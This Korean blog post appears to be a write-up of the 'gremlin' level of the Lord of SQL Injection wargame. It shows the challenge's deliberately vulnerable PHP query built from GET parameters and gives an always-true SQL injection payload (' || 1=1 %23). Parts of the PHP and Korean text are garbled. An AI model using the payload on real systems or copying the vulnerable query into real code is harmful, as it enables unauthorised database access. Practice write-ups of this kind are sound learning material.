728x90
반응형

query : select id from prob_gremlin where id='' and pw=''

 

<?php

  include "./config.php";

  login_chk();

  $db dbconnect();

  if(preg_match('/prob|_|\.|\(\)/i'$_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!

  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~");

  $query "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";

  echo "<hr>query : <strong>{$query}</strong><hr><br>";

  $result = @mysqli_fetch_array(mysqli_query($db,$query));

  if($result['id']) solve("gremlin");

  highlight_file(__FILE__);

?>

 

 

PHP 문법

include

 - ./config.php 파일의 내용을 가져오겠다.

 - include 사용한다면 include 파일 수정  모든 페이지에 config.php라는 것이 반영됨

 

preg_match

  •  번째 인수 : 정규식 표현 
    • /i : 대소문자 구분 안함
  •  번째 인수 : 검색 대상 문자열
  •  번째 인수 : 패턴 매치에서 매칭된 값을 배열로 저장.

 

 

코드 해석

$query "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";

  • ID, PW POST 방식이 아닌 GET 방식으로 삽입되는 것을   있음

if($result['id']) solve("gremlin");

  • id 값이 존재하면, solve

 

문제 해결

항상 참으로 만들기

  • id='' or 1=1 #
  • GET 방식으로 URL SQL 대입( ?id=' || 1=1 %23 )
  • query : select id from prob_gremlin where id='' || 1=1 #' and pw=''

 

참고 사항

  • or -> ||
  • # -> %23
728x90

'*Wargame > [ LS ] Load of SQL Injection' 카테고리의 다른 글

[ LS - 05 ] wolfman  (0) 2021.12.18
[ LS - 04 ] orc  (0) 2021.12.18
[ LS - 03 ] goblin  (0) 2021.12.18
[ LS - 02 ] cobolt  (0) 2021.12.18
[ LS - 00 ] Lord of SQL Injection  (0) 2021.12.18

+ Recent posts